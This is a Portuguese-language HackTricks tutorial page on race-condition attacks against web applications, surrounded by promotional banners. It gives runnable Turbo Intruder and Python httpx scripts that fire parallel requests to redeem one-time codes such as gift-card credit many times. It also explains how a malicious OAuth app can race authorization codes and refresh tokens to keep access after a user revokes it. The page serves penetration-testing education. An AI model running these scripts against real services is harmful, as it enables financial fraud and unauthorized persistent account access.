9.3 KiB
Condição de corrida
Use o Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo. Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Qualquer coisa limitada por um número de tentativas
Condições de corrida são vulnerabilidades que aparecem em sites que limitam o número de vezes que você pode realizar uma ação. Um exemplo muito fácil pode ser encontrado neste relatório.
Usando várias vezes um código de uso único
Quando você faz a página da web executar alguma ação que deve ser feita apenas uma vez, mas se a ação for feita várias vezes, você será beneficiado, você realmente precisa tentar uma condição de corrida.
Na maioria das vezes, isso está diretamente relacionado com dinheiro (se uma ação for realizada, você recebe X dinheiro, então vamos tentar fazê-la várias vezes muito rapidamente).
Usando da mesma conta o mesmo código várias vezes
Por exemplo, neste bug, o caçador foi capaz de carregar o dinheiro dentro de um cartão-presente várias vezes.
Este é o script turbo intruder usado para testar a condição de corrida do relatório mencionado:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Usando também o BURP, você pode enviar a requisição para o Intruder, definir o número de threads para 30 dentro do menu Opções e selecionar como carga útil Cargas úteis nulas e gerar 30.
Usando o mesmo código de contas diferentes
Se a proposta anterior não funcionar (tente usar o mesmo código várias vezes na mesma conta), você pode tentar uma variante: tente usar o mesmo código de contas diferentes:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Usando Python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Persistência eterna do OAuth2
Existem vários provedores de OAuth. Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o cliente precisará permitir que seu aplicativo acesse alguns de seus dados dentro do provedor de OAuth.
Então, até aqui, apenas um login comum com google/linkdin/github... onde você é solicitado com uma página dizendo: "O aplicativo <InsertCoolName> deseja acessar suas informações, você deseja permitir?"
Condição de corrida em authorization_code
O problema aparece quando você aceita e automaticamente envia um authorization_code
para o aplicativo malicioso. Em seguida, este aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT (Token de Autenticação/Token de Atualização) a partir do authorization_code
para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para criar várias contas. Então, se você parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos.
Condição de corrida em Refresh Token
Depois de obter um RT válido, você pode tentar abusar dele para gerar vários AT/RT e mesmo se o usuário cancelar as permissões para o aplicativo malicioso acessar seus dados, vários RTs ainda serão válidos.
Referências
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Use Trickest para criar e automatizar fluxos de trabalho com facilidade, alimentados pelas ferramentas da comunidade mais avançadas do mundo.
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}